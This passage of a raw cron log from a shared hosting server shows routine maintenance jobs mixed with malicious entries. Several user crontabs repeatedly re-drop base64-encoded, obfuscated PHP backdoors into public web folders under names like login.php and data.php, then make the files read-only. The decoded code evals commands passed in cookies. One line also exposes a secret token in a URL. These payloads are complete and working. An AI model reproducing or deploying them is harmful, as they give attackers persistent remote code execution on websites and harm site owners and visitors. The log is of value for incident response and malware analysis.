JuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:07:01 medusa CROND[23162]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:07:01 medusa CROND[23159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:08:02 medusa CROND[12967]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 12:08:02 medusa CROND[12969]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:08:02 medusa CROND[12968]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:08:02 medusa CROND[12970]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:08:02 medusa CROND[12972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:08:02 medusa CROND[12973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:08:02 medusa CROND[12977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:08:02 medusa CROND[12979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:08:02 medusa CROND[12981]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:08:02 medusa CROND[12980]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:08:02 medusa CROND[12983]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:08:02 medusa CROND[12984]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:08:02 medusa CROND[12985]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:08:02 medusa CROND[12982]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:09:01 medusa CROND[2633]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 12:09:02 medusa CROND[2739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:09:02 medusa CROND[2740]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:09:02 medusa CROND[2741]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:09:02 medusa CROND[2742]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:09:02 medusa CROND[2743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:09:02 medusa CROND[2746]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:09:02 medusa CROND[2748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:09:02 medusa CROND[2738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:09:02 medusa CROND[2749]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:09:02 medusa CROND[2751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:09:02 medusa CROND[2756]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:09:02 medusa CROND[2757]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24612]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:10:02 medusa CROND[24626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:10:02 medusa CROND[24724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:10:02 medusa CROND[24725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:10:02 medusa CROND[24727]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:10:02 medusa CROND[24728]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24729]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:10:02 medusa CROND[24730]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:10:02 medusa CROND[24731]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:10:02 medusa CROND[24734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF